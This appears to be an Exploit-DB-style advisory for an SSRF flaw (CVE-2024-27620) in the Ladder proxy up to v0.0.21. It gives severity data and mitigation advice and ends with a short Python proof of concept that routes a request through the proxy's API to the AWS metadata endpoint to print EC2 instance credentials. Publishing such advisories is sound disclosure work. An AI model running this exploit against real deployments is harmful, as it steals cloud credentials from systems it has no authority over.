Ladder v0.0.21 - Server-side Request Forgery (SSRF)

vendor:

Ladder

by:

@_chebuya

7.1

CVSS

HIGH

Server-side Request Forgery (SSRF)

918

CWE

Product Name: Ladder

Affected Version From: v0.0.1

Affected Version To: v0.0.21

Patch Exists: NO

Related CWE: CVE-2024-27620

CPE: a:everywall:ladder:0.0.21

Metasploit:

Other Scripts:

Platforms Tested: Ubuntu 20.04.6 LTS on AWS EC2

2024

Ladder v0.0.21 – Server-side Request Forgery (SSRF)

Ladder version v0.0.21 is vulnerable to Server-side Request Forgery (SSRF) due to inadequate restrictions on destination addresses. This allows an attacker to send GET requests to addresses that are usually inaccessible externally. Attackers can exploit this to reach private address ranges, locally hosted services, and cloud instance metadata APIs.

Mitigation:

To mitigate this vulnerability, apply strict input validation and whitelist allowed destination addresses. Additionally, consider implementing network level protections such as firewalls and proxies.

Source

Exploit-DB raw data:

# Exploit Title: Ladder v0.0.21 - Server-side request forgery (SSRF)
# Date: 2024-01-20
# Exploit Author: @_chebuya
# Software Link: https://github.com/everywall/ladder
# Version: v0.0.1 - v0.0.21
# Tested on: Ubuntu 20.04.6 LTS on AWS EC2 (ami-0fd63e471b04e22d0)
# CVE: CVE-2024-27620
# Description: Ladder fails to apply sufficient default restrictions on destination addresses, allowing an attacker to make GET requests to addresses that would typically not be accessible from an external context.  An attacker can access private address ranges, locally listening services, and cloud instance metadata APIs

import requests
import json

target_url = "http://127.0.0.1:8080/api/"
imdsv1_url = "http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"

r = requests.get(target_url + imdsv1_url)
response_json = json.loads(r.text)
print(response_json["body"])